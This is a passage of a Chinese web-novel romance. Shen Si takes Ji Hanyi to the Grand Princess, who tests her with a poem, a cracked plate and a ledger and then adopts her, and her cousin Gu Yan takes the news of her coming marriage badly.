沈肆墨黑的眸子看了季含漪一眼,好似带了一分笑意:“你放心,很快会定下的。”
这话怎么听着好似她很着急嫁给他一般,季含漪很想解释她不是那个意思,但又见着沈肆又放下茶盏站了起来。
雅人深致又颀长的身形站在她面前,又低头道:“我现在去见你母亲,这一回见面的身份不同,我来了总要去见见的,你与我一起么?”
沈肆这时候要去见她的母亲,说实话,季含漪真的没这个经验。
其实两人成婚本就不是门当户对,也不是因为互相喜欢,在她看来她与沈肆之间更像是一种交易,她既能帮助了沈肆,也能依靠沈肆带着母亲过安稳的生活,沈肆也需要她摆脱赐婚。
就算沈肆不见她母亲,她也不会觉得有任何问题。
但沈肆这会儿这么问,又这般周到稳妥,季含漪心里还是有几分庆幸,庆幸她向来信任的沈肆,虽说冷清,但从来都是最好的人。
她忙跟着站起来,走到他身边,细声道:“一起吧。”
两人一前一后的往前走,沈肆去掀了帘子,又站在原地看她。
季含漪看着沈肆的动作,知晓他是在为自己打帘子,在她眼中冷如寒石的人,原也这般照顾人。
她稍怔了下,又垂着眼帘轻轻走过沈肆面前。
沈肆低着头,视线随着季含漪的动作动了动,目光掠过她耳畔柔美,又落在她秀气细肩上,再停顿在她秀丽又笔直的月白后背。
修
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长的指尖放下帘子,与她一起走出去。
季含漪还是没直接去的,站在廊下叫容春快去与母亲说一声,又才与沈肆并肩慢慢的走。
雨后的潮湿微凉吹在身上,脑中也清醒了很多。
沈肆眼底的余光一直都在季含漪身上,看起来单薄素净的模样,身上一点钗环也无,其实他记得季含漪小时候极爱美的。
又看着季含漪放在腰间的手指,细细的,正好被他的手掌包裹,那夜被他握住,柔若无骨,真的很暖。
季含漪根本没察觉沈肆在看她,她想着沈肆这万年的寒川,待会儿怎么才能没那么尴尬,让自己母亲别那么拘谨。
一路无话的去了前厅,母亲已经在那儿等着了。
顾氏见着沈肆,又见着沈肆与自己女儿一同进来,恍然间仿佛看到了从前两人走在一起的时候,如今看来竟然也般配。
但顾氏心里也清楚,要不是因着需要帮沈肆的忙,自己女儿是进不了沈家的。
顾氏满眼含笑,很热络,还亲自起身去迎。
沈肆在顾氏面前很谦虚,请着顾氏坐去上位,又对顾氏感激答应让季含漪嫁于他。
顾氏连连道:“当初沈府对季家也是有恩的,我家老爷也是全靠着沈候父亲提携,含漪能帮上沈候,也是她的福气。”
沈肆身形高大,站在那里就有一股矜贵之气,眉目历来冷峭,此刻却缓下神色道低沉道:“含漪嫁我,是我的幸事,往后我会护好她,夫人放心。”
顾氏此刻看向沈肆垂下的眼神,他口中的承诺,眼里深沉的坚定,都叫顾氏看得明白,沈肆是女儿值得信任的人。
她本来还想说两句依托的话,如今听了沈肆这一句也放下心来。
仅仅凭着沈肆能够在女儿答应后特意来见自己,就已经比那谢玉恒好上了千千万万倍。
其实她一直希望季含漪能够有个归属,女子一生不嫁人,终究有艰难,如今季含漪身边有沈肆在,她放心沈肆的品性,也放心将女儿交给他了。
第173章 要互相欢喜,还要是彼此唯一
沈肆走的时候,天色已经微微有些暗沉了。
季含漪被母亲叫着亲自出去送沈肆,顾氏心里也是有一些心思和私心的。
虽说两人成婚或许不是因为互相喜欢,但她希望沈肆能够真的喜欢上自己女儿,自己女儿也能够喜欢上沈肆。
季含漪一路送着沈肆去了门口,沈肆的步子顿在门口处,低头看向季含漪:“明日一早我来接你去一个地方,你今日早些休息。”
季含漪好奇的抬头问:“去哪儿?”
沈肆笑了笑:你去了就知晓了。"
又看着季含漪很听话的点头垂眸,细风吹拂着她柔软的发丝,那张秀气干净又精致的脸庞在昏色下有股妩妩的柔软,他看着她低垂的晏晏水眸,那弯弯细眉,那秀气的肩膀,孱弱又秀丽,叫他这一刻心猿意马,很想将她拥紧。
他的手还是抬了起来,在季含漪诧异看来的目光中,为她将一缕发丝别在而后。
他能感受到季含漪下意识要退缩的步子,又顿住配合他的小动作,这叫沈肆心头一软,她不适应,他慢慢来便是。
又低沉道:“你明日要见的人身份有些不同,不用太素净了,我送给你的东西你用便是。”
季含漪抬头看着沈肆变得柔和的眉目,他身上的那股冷峭好似也淡了许多,看起来也没有那么生人勿近的冷淡。
她不由点点头:“好。”
沈肆其实很想再与季含漪待一会,两人独处的时候总是不够,但如今两人身份还不合适,他还没有将婚约定下。
又深深看着季含漪:“你还有什么想与我说的么?”
季含漪认真的想了想,好似也没有了。
她明白沈肆能安排好一切的。
她摇头:“没有了。”
沈肆眼底下微微露出些失望,又点头:“好。”
沈肆离开后,季含漪回去后才听春菊说沈肆送了好些东西来,还给她母亲送了两根百年参,那可是可遇不可求价值千金的东西。
季含漪去了母亲那儿,顾氏一见着她便叫季含漪来身边,看向案上沈肆送来的东西,大大小小的匣子放满了案桌。
顾氏叹息道:“不论其他的,光是沈候待你的这份心,我便放心了。”
“这里头全是滋补身子的,都是难得的东西,他挂心我身体,也是在意你,含漪,沈候是可靠的人。”
季含漪看着桌子上的东西,她一直都明白沈肆是可靠值得托付的人,所以当沈肆让她帮忙的时候,她其实并没有考虑过太多她自己将来的后路,她信任沈肆的品性,即便沈肆将来可能会有更好的选择,她也相信沈肆会给她一个妥帖的安排。
回自己屋子的路上,容春走到季含漪的身边低声道:“沈大人还给姑娘送了东西的,正放在外间的。”
季含漪一顿,回去看的时候,果真见着外间桌上放着好几样东西。
季含漪去打开看,几个小匣子里都放着价值不菲的首饰。
还有几匹布料和几件成衣。
季含漪看了看那送给她的几件衣裳,料子都是极好的料子,季含漪想着沈肆说明日带她去见人,大抵也是特意为她准备的。
也是,沈肆那样的身份,要见的人定然也是身份不低的,自然不能穿的太过素净的去,他为她都安排好了。
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到了第二日一早的时候,季含漪便早早起身来梳妆。
容春抱着昨天沈肆送来的衣裳问季含漪要穿哪件,季含漪看了看,颜色都不算是张扬的颜色,便选了件银灰色织锦海棠百合纹样的圆领春衫。
换好衣裳坐在铜镜前,季含漪看着面前摆放着的沈肆送来的首饰,个个精雕细琢,季含漪拿起一根玉燕钗在眼前细看,白玉通透,栩栩如生。
她失神了片刻,又看着镜中已经装扮好的人,耳边坠着上好的祖母绿,轻轻摇晃里,她也不知自己此刻在想什么。
沈肆来的果真早,季含漪才陪着母亲用了早膳没一会儿,沈肆便来了,还进去与顾氏问候了。
顾氏满脸的笑意,连问都不问去哪儿,就叫季含漪快跟着沈肆去。
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去了廊下,沈肆的目光这才往季含漪身上看。
很明显的,季含漪是好好装扮过的,
这些日她低调素净,今日穿着刺绣海棠裳,耳边坠上耳坠,发间百花结子与七宝珊瑚簪子将她整个人都衬得如精致又大方,眉眼如琼玉雕琢,细细袅袅让人看得失神。
季含漪能感受到沈肆在看她,她心里有点紧张,不知晓这么装扮沈肆满不满意,可能去见人。
从前季含漪自然不担心这些,她向来明白什么场合该怎么装扮,但总是在沈肆面前有那么点不自信,大抵是自小见过沈肆如何严谨,如何眼高于顶,总觉得想要得到他的认可,是一件并不容易的事情。
又听沈肆低低的一声:“走吧。”
季含漪这才忙垂眸跟上沈肆的步子。
她总是慢了沈肆半步,这是规矩,这分寸她把握的很好,她在心底深处不想让沈肆觉得她要借着这件事对他有非分之想,她恪尽职守,尽心尽力的配合沈肆。
沈家高门她知晓,以她如今地步无论如何都不能嫁给他,沈肆一直都是天上月,她更该守着她的本分,或许将来需要她抽身而退的时候,两人都是体体面面的。
到了马车前,沈肆顿在马车旁,看着款步过来的季含漪,朝她伸出了手。
季含漪看着那只手,修长,宽大,中指上带着薄薄的茧,是他常年握笔留下的,沈肆一直都是严于律己的人,他小时候也很刻苦。
季含漪顿了一瞬,还是伸手将手放在沈肆的掌心处,她的手很快被紧紧包裹住。
上了马车,沈肆很快上来,只是这回的马车好似小了一些,上头只有一处可坐,沈肆进来后就坐在了她身边。
两人的距离很近,季含漪的双手规矩的放在膝盖上,手上的绣帕被她捏了又捏,显然还有点不适应和紧张。
沈肆都看在眼里,他特意选了这辆马车,就是想让季含漪尽快适应他,他们将来会做尽亲密的事情,还要生儿育女,要同进同退,要互相欢喜,还要是彼此唯一。
第174章 见大长公主
沈肆将手覆在了季含漪的手背上。
感受着她轻轻的一颤,沈肆哑声道:“含漪,别紧张。”
季含漪低头,看着自己的手被沈肆紧紧握住,她细细的点头,又嗯了一声。
沈肆看着季含漪那白玉耳垂下晃动的耳坠,在她光滑的下颌上轻轻拍打,他笑了笑,拇指从她掌心摩挲。
季含漪根本不敢看沈肆,沈肆那揉在她掌心的手指更叫她浑身僵了,这般亲密如情人般的动作,她从未体会过,好似也是有些不庄重的。
她脑中有片刻的眩晕,紧张的掌心出了汗,又偏要做出镇定自若的模样。
沈肆看着季含漪那微微染了红晕的脸庞,他从来没想过她会这般羞涩,眉眼更带着股青涩,她掌心那微微的润他能感受到,一如那夜里她被她按在身下吻时,她也是这般紧张惊惶。
沈肆没再动作,他是要循序渐进,但并不想让季含漪抗拒。
他低低道:“我们今日去见大长公主,你别紧张,有我在的。”
大长公主是什么身份,季含漪还是明白的,她真的有点紧张。
但也不想叫沈肆担心,她很快点头嗯了一声。
马车停下的时候,外头就传来了来迎的说话声,沈肆先下了马车,接着半只手伸进来,季含漪的那一丝紧张便没了,握着沈肆的手下了马车。
她往门前牌匾上一看,是承安侯府。
季含漪知晓承安侯府,承安侯府里住着大长公主。
大长公主是先帝的亲姐姐荣庆公主。
当年荣庆公主被指婚给了跟随着太祖皇帝征战过的手下一个总兵的小儿子秦钟。
秦钟生的高大威武,鹤立鸡群,一表人才,因为娶了公主,成了驸马都尉,不能再有实际职务,更不能参与政务,便赐了爵位,享受俸禄与良田,子孙可以不降等的一直袭爵。
但这待遇也只有大长公主能够有这样的待遇了。
即便现在承安侯府没有实权,但大长公主是当今皇上的亲姑姑,先帝最敬重的长姐,荣恩不绝,承安侯府的后辈在各类宴席上,也都是被奉为上座的座上宾,更没人敢对承安侯府的人不敬。
前门的人见到沈肆过来很是敬重,恭敬请着沈肆往内去。
季含漪亦步亦趋的跟在沈肆身后,路上碰见了承安侯府的世子秦彻,与沈肆看起来差不多的年纪,两人寒暄几句,秦彻的目光便落在季含漪身上。
只见着季含漪一身得体的精致,最要紧的还是那张脸庞,看起来有一股淡淡书卷的温柔气,又带着股缱绻的貌美,叫人好似多看两眼就要沉溺进去似的。
秦彻从前听过季大人的事情,自然也知晓季含漪,不过是第一回见,只看了两眼再看沈肆,算作是终于明白这棵无情无欲的万年铁树,为什么忽然开花了。
他笑了笑,对着季含漪很是客气的问候了一声季姑娘,又引着往前走,低声道:“我祖母正等着你,走吧。”
秦彻的祖母,正是大长公主,与沈肆的母亲也是自小交好的关系,所以秦彻与沈肆更是从小相识。
季含漪一路上都很注意着自己仪态,这里是大长公主的府邸,里头的下**多是从公中挑选的宦官陪嫁,行的是宫里的规矩,自然比其他地方的规矩多一些。
沈肆靠近季含漪,看着她规规矩矩的模样,低头凑近看她低声道:“别拘太多礼数,顺其自然,我在的。”
到了正堂,季含漪便见着了那位大长公主,即便年近七十,也一身富丽繁华,又带着天家的威严,保养得体,那股与生俱来的高高在上,这便是天家的威仪。
她凝神屏气,又低眉顺目的跟在沈肆的身边问安。
荣庆大长公主目光看向季含漪,笑了笑,叫季含漪来身边细细端详她。
她当然知晓沈肆带着季含漪过来这一趟是为了什么,虽说沈肆看中的人应该不差,但也得亲眼看过了人,她才能答应。
她知道沈肆要借她的声誉与地位,即便因着沈家的关系,因着沈肆曾帮过他孙子的关系,她本该也
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应下来,但她这样的身份,在外的声誉名声也是重要的。
况且这事现在还瞒着沈家的人,瞒着皇后,她哪里能够随便应下来,要是个样样平庸的姑娘,说什么她也不会应这个忙。
这会儿随着季含漪的走近,她看着季含漪的身姿仪态,那楚楚可人的眉目,丝毫不见得出错,又见人走到自己面前,规规矩矩的福万福礼,每一个动作都挑不出不好来,是世家贵女的仪态。
她稍满意,目光落在季含漪银灰色衣裳上的脸庞上,芙蓉花色般的样貌,樱唇雪肤,那一双杏仁眼水汪汪的含情,却是柔弱眉目,妩媚却端庄,又脸上笑了笑,伸手握住季含漪的手,叫她坐在自己身边,低低问过她几句话。
在荣庆大长公主看来,季含漪家道中落,心态再不能如从前,也可能是存了些攀附,她见过太多人,几句话里也能看出一个人的品性。
沈肆站在下首,目光看在季含漪身上,一刻不离,神色里难得的有些紧绷。
秦彻走到沈肆身边,拍拍他肩膀低声道:“你放心,我祖母不会太刁难季姑娘的,我们先去一边坐下。”
沈肆这才收回视线,神情也依旧没有松懈多少,他知道大长公主不好应付,也随时准备着起身去为季含漪解围。
事先没与她说,是不想让她紧张。
这时候上头荣庆大长公主正看着季含漪,刚才说了几句话,还是能够听从面前姑娘的心性从容,不卑不亢,眉眼里没有讨好的谄媚,倒是又满意一分,但该考验的还得考验。
她说出了她第一个考她的题目:“我听说过你父亲的才名,想来你也不差的。”
说着她又缓缓道:“如今正是春日,秋燕南迁,空留旧巢,你可能以空巢为题,赋诗四句,需含去、留二字,却不得直书。”
荣庆大长公主的话一落下,堂下寂静,秦彻愣了愣,这考题也太难了些。
沈肆抿唇看向季含漪,见着她神色舒展,要起身的动作顿住,指尖微松。
第175章 可愿做我义女?
季含漪并未思索太久,小时候她常常与父亲对诗作赋,这于她来说并不难,便开口:“衔泥辛苦筑雕梁,羽翼成时各远方。唯有春风还识路,年年依旧入空堂。”
去在羽翼各远方,留在春风依旧来,未用去留两字,却点了题。
秦彻惊叹,忍不住推沈肆的手,赞叹道:“可很少有人能够这么快答出我祖母的考题的,季姑娘真厉害。”
沈肆唇边上挑了下,眼底温和。
这题其实对季含漪来说并不难,沈肆唯一只担心她面对大长公主会紧张。
荣庆大长公主笑了笑,算作满意了。
这么快对出来,底蕴与才华定然是有的。
她又叫人端来一只锦盒,盒子打开,里头放着一只天青釉的葵口盘,釉色温润如雨后晴空,盘中却生了一道裂痕,斜贯盘心。
荣庆大长公主的声音缓缓响起:“这曾是我最喜欢的器物,跟随我几十年,可惜三年前不慎摔裂,都说破镜难圆,这破瓷,季姑娘可能让它圆回来?”
堂中气氛忽然凝滞,这几乎是不可能的。
瓷器已裂,就算是当世名匠,最多也以金漆黏合,何来圆回之说?
秦彻没想到祖母会这样为难,不由也想起身帮忙解围,毕竟沈肆好不容易开一朵花,要是被掐断了,往后可怎么办。
他视当真为沈肆的将来大事担心。
只是他还没起身,就被沈肆握住了手腕。
只见沈肆目光往上,神情微凝,显然关注着那里的每一点动静。
秦彻都能感受到沈肆此刻手掌上紧绷的力道。
沈肆知晓季含漪虽说性子稍软,但向来能沉气,这题她稍想想不难,只要不慌就好。
正这时候,一道轻柔的声音传来:“府上可有松烟墨?”
荣庆大长公主微微蹙眉,却还是叫人去取。
结局并不重要,她是要考季含漪的心性,让季含漪看出她的故意刁难后又有什么反应,看她如何随机应变,世家大族的主母,没有沉稳的心性,没有能应对各种突发的智慧,是很难胜任的。
很快下人将东西呈了上来,季含漪伸手接过来,墨锭研开,又取过最小一支狼毫笔,蘸饱墨汁。
她并不黏合瓷片,反就着那道裂痕,笔尖轻移,在裂痕两侧勾画起来。
沈肆看着季含漪垂眸静心的模样,眉间松懈,含了丝笑。
荣庆大长公主不由得起身近观,秦彻也忍不住走过去看。
只见那笔锋过处,裂痕化为嶙峋山脊,左侧墨色皴染成远山叠嶂,右侧淡墨轻扫作雾霭云霞。
那道原本刺目的裂痕,竟成了画中的水天一线。
秦彻忍不住连连赞妙:“季姑娘画工当真厉害。”
荣庆大长公主眼底也露了几分惊叹,抬头看向季含漪问:“你如何想的这个法子?”
季含漪便道:“小时候随父亲读周礼,民女记得其中说:天有时,地有气,材有美,工有巧,合此四者,然后可以为良。"
“盘本已俱美,虽然有裂,但顺势而为,或许反而能得新意,因时制宜,非泥古不化。”
荣庆长公主听了这一番话,又细看季含漪。
年轻的面容娇美,心中却有这份心性与才情,她最后那句非泥古不化,又有几人能够明白,她竟能参透。
她不由又将目光看向站在一边的沈肆身上,她眼底总算带了一丝笑,告诉他,这个姑娘,她瞧上眼了。
沈肆笑了笑。
荣庆大长公主收回视线,其实考到这里已经算作是季含漪在她心里通过了考验,但她特意为她准备了三道考题,还差一道,也不能不考。
就又示意婆子再捧上一只剔红牡丹纹的匣子来。
匣字打开,内里是一叠账册。
荣庆大长公主看着季含漪道:“这是我管的城南别院三年的收支总账。”
说着她指尖点在最上面那册上:“总计三十四项进账,七十九项开支,银钱往来累计八千四百余两,其中三笔亏空,五笔糊涂账,十二笔对不上数。”
接着,荣庆大长公主抬眼看向季含漪,目光温和:“给你一炷香时间,不用算盘,找出所有错处,说出整改之法。”
“你可行?”
这回秦彻忍不住惊声开口道:“祖母,季姑娘又不是账房的,还不能用算盘,怎么能算出来。”
荣庆长公主看了秦彻一眼,她不需要季含漪能全算对,毕竟的确不大可能,她要考验的是季含漪如何心细,从细微处找到关键。
沈家家大业大,季含漪若是没这点本事,将来怎么理好家,真同意了这门亲,往后出了事,是她牵的线,将来沈老夫人和皇后找到她头上来,她可没脸交代了。
又看季含漪依旧容色贞静,不见慌张,不知怎的,竟又觉得这难不到她。
季含漪的确不慌,只说了句:“我试试。”
便轻声问旁边下人拿纸笔来。
纸笔呈上,她并不翻看账册,反而提笔在纸上画起方格。
横七竖八,迅速成表,标上年月、事由、出入、经手等字后,才翻开第一册账本,目光细致扫过,再将关键数目填入表格,偶尔在某处画个圈,或添个标记,如列阵之兵,笔尖沙沙,旁边人看得屏气凝神,心莫名跟着提起来。
沈肆目光落在季含漪笔下的纸张上,微微顿了顿。
他虽一
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直知晓季含漪是聪慧的,却没想到她这般聪慧,并不输于男子,她身上有她父亲的影子。
香燃过半时,季含漪搁下了笔。
她将那张纸双手奉上,声音轻且恭敬:“长公主请看,错处都已标好。”
荣庆大长公主接过纸张细看,只见纸上清晰列出:前年腊月,购石料二百两,经手许贵,但同年十一月已有修葺墙基支出一百五十两,石料何来二购?
“这是虚报。”
季含漪指着那处又道:“许贵可能是分两次采购,但更可能是将一笔账拆成两笔,中饱私囊。"
“往后可定下一条,凡采购超百两者,需三家报价,附样货比对,便能遏止。”
说着季含漪再指向另一处:“去年年秋,收田租二百四十两,但别院田亩数固定,年景相当,往年皆收二百两,多出的四十两未注缘由,可能是佃户多交,也可能是经手人私加租额。"
"我觉应当定死租额,另设慈租册,记自愿多交者,公开张贴。”
一处处说下去,十二条错漏被她归为四类:虚报重支、账实不符、手续缺失、权责不清,每类皆附解法,简明扼要。
荣庆大长公主算是彻底被季含漪折服,就连旁边的秦彻也是佩服的五体投地,他便是说,能被沈肆瞧上的女子,该不会只有那过人的美貌的。
这些账目被梳理的清晰,零碎问题一目了然,当真是聪慧。
荣庆大长公主的目光看向季含漪:“你如何能不用算盘,就知数目对错?”
季含漪便笑道:“好账不在算盘珠上,在数目之间的关联里。"
“比如这笔购炭支出,冬月购炭八十两,但别院仆役仅六人,按常例三十两足矣,超支部分,账上写炭质上佳,却无验收记录,这便是手续缺失。”
季含漪其实从前未出嫁时,只从母亲那里学过一些皮**的管家算账,到了谢府,她知晓谢府人防备她,便仔细算好每一笔账目,分门别类,管着自己那小小一方院子,也算有些心得。
列格的法子也是她无意中想到的。
荣庆大长公主凝视季含漪良久,这账目是她让人故意做乱的,季含漪能在这么短的时间内找出错处,难能可贵,这样的女子她愿做担保进沈府的门。
荣庆大长公主眼底彻底露出了笑意,将手上的那只祖母绿镯子褪下来,亲手戴到季含漪的手上,又看着她问:“今日本宫见你一见如故,你我是极有缘的人,本宫愿收你为义女,你可愿意?”
荣庆大长公主又笑着道:“本宫膝下没有女儿,也从未收过义女,你若答应,往后便是我承安侯府的人,受我的庇护。”
第176章 沈大人,我准备好了
荣庆大长公主说的这番话,是季含漪是没有想到的。
她知道荣庆大长公主什么身份,是从来不敢想的。
她不由将视线看向站在她身边的沈肆身上。
沈肆也正低头看她,微微朝着她点了点头,季含漪便忽明白沈肆今日带她来的目的,忙朝着荣庆大长公主感激的应下,又叩首行大礼。
荣庆大长公主伸手扶住季含漪起来,苍老的手掌紧握住季含漪的手,低声道:“你很聪慧,本宫也很喜欢你"
"本宫年事已高,如今已不常去宴会了,你往后与阿肆常来陪我坐坐说说话。”
季含漪顿了顿,便很郑重的点头:“含漪得了空闲,定然常来。”
荣庆长公主看着季含漪眼中真诚的神色笑了笑,
已经是对季含漪十分的满意了。
她今日考了她才学,心性,能力,每一样都在她的意料之外,她见过的京城贵女不少,上一个这么得她欣赏的人还是孙宝琼,那孩子也样样出色。
她又拍了拍季含漪的手,再叫人拿来一个匣子放在了季含漪的手上,让她回去后再打开。
又看向站在季含漪身边的沈肆低声道:“你求我的,我应你了。”
“但我可只应了你这一个,别的我可不知晓。”
“你母亲或你长姐来问,我只说你的主意。”
沈肆神色郑重的感激,后退一步,朝着荣庆大长公主深深一鞠。
季含漪和沈肆一起离开的时候,秦彻跟在身边相送,快上马车的时候,秦彻玩笑道:“日子定下,可别忘了告知我,我等你喜酒等了好久。”
沈肆微微看了秦彻一眼,淡淡开了口:“好。”
说着就牵着季含漪再不管秦彻的上了马。
秦彻看着沈肆这举动笑了笑,想着自己呆在这儿碍人眼了不是。
季含漪一直到坐在了马车里后,一直提着的心,这才终于缓缓落下,她一直很担心忐忑没有做好,让沈肆为难。
沈肆坐在她身边的时候,她的又手被沈肆握住,她侧头,昏暗中看向沈肆看来的目光,只听沈肆低沉的声音响起:“含漪,你做的很好。”
季含漪就松了心,轻轻的点头。
只是这时候被沈肆握住手,她还是有点不自然的难为情,沈肆在她心里一直是她敬重如长辈的人,就如沈长龄在沈肆面前一样,年岁虽说并没有差太多,但沈肆身上那股上位者的压迫,还有他的辈分来说,好似不自然就将他当成了长辈。
正当她收回视线的时候,又觉得一道炙热的呼吸扑来,她怔怔抬眼,又见着沈肆那张放大的俊脸已凑到了她的面前,她听到他沙哑的声音:“含漪,再过两日,我们定亲的消息便会让满京城都知晓,或许会接踵而至一些不大的意外,你准备好了么?”
尽管季含漪知晓定然是会有这么一天的,但她没想到会这么快。
但她答应了沈肆,便不在意这些了,她眸子对上沈肆的目光,很是认真的细声道:“沈大人,我准备好了。”
沈肆看着季含漪那暗色中亮着微光的认真杏眸,她软软的香气扑来,她脖子上那一串光泽莹润的珍珠闪烁,更衬得面前的人如玉温软,叫他喉中干涩。
乖巧温软又样样都好的人,让人心生怜爱。
车轮声在外响起,他很想这时候品尝她口中的甘甜。
呼吸不由微重,肩膀下压,他的手握的紧了紧,看着季含漪垂下去的眼帘,岁月静好的唇红齿白的模样,是花团锦簇里唯一让他心生炙热的海棠。
只是唇畔仅仅是微微擦过她的发顶,他保持着克制理智,人终究都是他的,跑不了的。
他眼神晦涩,收起带着对她占有的眸子,只将她柔嫩的小手握紧。
回去后,季含漪便打算下马车,只是她才起身,手被沈肆握住。
季含漪疑惑的回头。
沈肆在昏色中静静看着季含漪,在季含漪从身边离开的时候,他心里生了不舍。
他还舍不得她这么快走,他还想与她多呆一会儿。
他想让她坐在自己的腿上亲昵,想让她靠在自己的怀里,想她柔软的手指一寸寸的抚过他的胸膛,更想她揽着自己的脖子,亲密又亲热的对自己送来香吻。
他不可自拔的在这种能够与她亲近的关系里,尽管好似还有些漫长。
手上微微发紧,只要一用力,她就能跌到他怀里,他此刻一刻也不想让她离开。
季含漪细细动听的声音这时候传来:“沈大人,怎么了?”<
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br>这一声疏远的沈大人,叫沈肆的目光昏昏沉沉。
他沙哑道:“夜里来我那处一起用膳吧。”
沈肆没说后头那一句话,就他们两人,共处一室。
季含漪显然没有明白沈肆的意思,她犹豫一下才小声开口:“沈大人是要单独与我说什么话么?这会儿能说么?”
沈肆微微抿唇,又低沉道:“罢了,你这两日夜里好好休息,我让人送菜去你那里。”
季含漪忙摇头道:“不必如此麻烦沈大人的。”
沈肆默然看着季含漪的眸子:“含漪,你马上就会是我的妻,你不用与我如此客气。”
季含漪想着,即便是这般,但好似与那种真正的夫妻有点不一样。
季含漪想要尽量让沈肆觉得省心,让他觉得自己真的能够帮助到他,她帮他也是真心的,不是为着他身上的其他东西。
但这会儿看沈肆的眸子,沉沉里带着一股淡淡的压迫与不容拒绝,总之季含漪历来看不懂沈肆的眼神,那种凉薄里又带着翻滚的热流,矛盾又叫人不敢对视。
她怔了一瞬还是应下来:“沈大人,谢谢你。”
沈肆松了手,又道:“待会儿我送几个丫头和护院来,你院子里的下人太单薄,万事不方便。”
季含漪犹豫一下,还是点头下了马车。
只是季含漪下马车的时候,却看到了站在院门口的顾晏。
顾晏的目光一直放在从马车上下来的季含漪身上,又看向那微微掀开的帘子,沈肆的面容露出来,那双狭长的凤眸扫过他,又一瞬不瞬的看在季含漪身上。
顾晏只觉得心里紧的浑身都在紧绷着,直到季含漪走到她面前,好奇的一声:“晏表哥?”
顾晏才猛然回神,看在季含漪身上。
看着季含漪身上明显贵重的衣裳,还有她发上与身上的首饰,又看向季含漪不同于之前素净的脸庞,他的目光寸寸变得波涛。
沈肆在马车里静静看了顾晏的神色一眼,眼里的不快不加修饰的显露出来,要不是因为顾晏是季含漪的表哥,对季含漪有些照顾,他不想对付他让季含漪难受,不然是不能再让这人出现在季含漪面前的。
又抿了抿唇,沈肆放下帘子,眼底变沉。
第177章 又想要见她了
顾晏目光看向沈肆渐渐离开的马车,这才喉咙艰涩的问:“漪妹妹与沈大人一起去哪儿了?”
季含漪想着不好解释,便没回话,只是问:“晏表哥怎么这时候来了?”
顾晏当然看出季含漪逃避的神态,他深深看了他一眼,又道:“我们先进去说话吧。”
季含漪点点头,与顾晏一起进去,路上顾晏道:“我新得了些画画的好纸,特意来给漪妹妹送来的。”
说着顾晏的目光又看向季含漪,视线紧紧落在她白净又秀气的鼻尖上:“我还想告诉漪妹妹一件好消息。”
季含漪一顿,看向顾晏好奇的问:“什么好消息?”
顾晏笑了笑:"我走了些关系,正好蔚县县令任期已满,我正好可以去蔚县做县令,我也没想到会这么顺利,比我预想的更快,也更好。"
“我原本觉得在那里能做个佐官便是极好了,没想到会让我去做县令。”
“吏部的人来与我说,如果快的话,可能下月底,或是下下月初就能动身去了,漪妹妹等等我,到时候我们一同赶路。”
说着顾晏的神色里带着一股隐隐的兴奋:“漪妹妹,我在那儿做了县令,便能更好的护住你了。”
季含漪怔然看着顾晏兴奋高兴的神色,忽然一时不知晓该怎么开口。
她已经不会去蔚县了。
她没想到顾晏真的走通了关系能去蔚县。
季含漪张了张唇。
顾晏看季含漪怔怔看着他不说话,他手指尖甚至已经有些兴奋的想要碰她,又往她面前走了一步靠近,眼神里含着热切的期盼与渴望被认可的欲望,急促却又小心翼翼的问:“漪妹妹,你高兴么?”
季含漪许久后才轻声道:“晏表哥,我自然为表哥高兴,只是我可能不能与表哥同路了。”
顾晏脸上的笑意一瞬间就凝在了脸上,接着他怔怔看向季含漪:“漪妹妹,你骗我的么?”
季含漪看着这一瞬顾晏脸上的神情,温和的面容下闪过丝破裂,她莫名往后退了一步,又摇头:“我没骗表哥,我暂时的确不打算走了。”
季含漪才刚说完话,下一刻肩膀就被顾晏紧紧捏住,季含漪一愣,抬头愕然看着顾晏那带着血丝又有一分狰狞的眼睛。
肩膀上的力道很紧,紧的她有一丝发疼。
顾晏低低又急促的声音传来:“漪妹妹,你就这么厌烦我?故意躲着我么?”
季含漪忙摇头:“表哥你误会了,我从没这么想过。”
顾晏眼中布满血丝,嘶哑的问:“那为什么……?为什么不去了?”
季含漪本想与顾晏说与沈肆成亲的事情,但这件事还未定下,也不知会不会有变故,现在说给顾晏也不是好时机,但看顾晏现在的神色,季含漪还是低低道:“表哥,你先松手,我慢慢与你说。”
等顾晏松了手,季含漪才先说了大抵要长久留在京城的打算,也说了可能会嫁给沈肆的打算,又道:“表哥能去蔚县做县令也是表哥能力出众,我也相信表哥将来一定能够前程无量。”
“但表哥若是实在不愿去,不愿离开京城,我也愿为表哥请沈大人帮忙,让表哥留下。”
顾晏怔怔看着季含漪,她后头说的话,他全都没有听见,他只听见她将来会长久的留下,在他为她都打算放弃一切去蔚县的时候。
心里头如同重锤打下来,顾晏几乎浑身发软。
手指渐渐的松下去,他失神的看着季含漪仰头看来的温软的面容,依旧玉软花娇,依旧仙姿玉色,他自小都喜欢的人,不过几日之间,她说要可能要嫁给旁人了。
手指不受控制的在发抖,顾晏甚至这一刻都控制不了自己的情绪,他喃喃问季含漪:"他说娶你便答应,我为你甚至什么都愿意不要,可你却一直拒绝,在你心里,我这么比不上他么?”
季含漪赶紧摇头:“在我心里,晏表哥是我的亲人,是我自小都信任的亲人,沈大人对我有恩,没有沈大人,我可能如今还在谢家受
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折磨,我也答应过沈大人,若是将来有一天沈大人需要我,我也一定会答应帮他的。”
顾晏双手颓然的垂下来,他踉跄几步失神,眼眶蓦的发红,面色惨白,一句话不说的就往门外走去。
季含漪看着顾晏的背影有些担心,追出去只看到顾晏绝尘而去的马车,她看着顾晏刚才眼里的红丝,心里也不是没有难过的。
晏表哥自小对她的好,都是真真切切的好。
回了屋子,她看着那桌上顾晏送来的画纸,心头的难过更多。
想了想,她还是给顾晏写了一封信,顾晏要去蔚县是因为她,如今她不去蔚县,也不想让顾晏为此扰乱他原本的打算,若是他要是真的不愿去,她一定为他想法子。
中午的时候,沈肆当真叫人送了许多菜来,放了满满一桌子,季含漪都愣了下。
顾氏也愣了愣,这么丰盛的饭菜,许久没有吃过了。
晚上的时候,季含漪站在院子里心里怀着心事的往对面看,想看看沈肆在不在,再问问他顾晏的事情有没有能够回转的余地。
但又想即便沈肆在,夜里去找他好似也有点不太方便,便又放弃了,回去沐浴,想着明日再说也不迟。
今日她在大长公主那里一直很紧张,生怕出错,紧绷的心放松下来,夜里就格外的犯困,又泡在温暖舒服的浴桶中,趴在浴桶边缘昏昏欲睡。
沈肆站在阁楼上,看着窗上的剪影,听着文安说季含漪晚上一直往他这边看的事情。
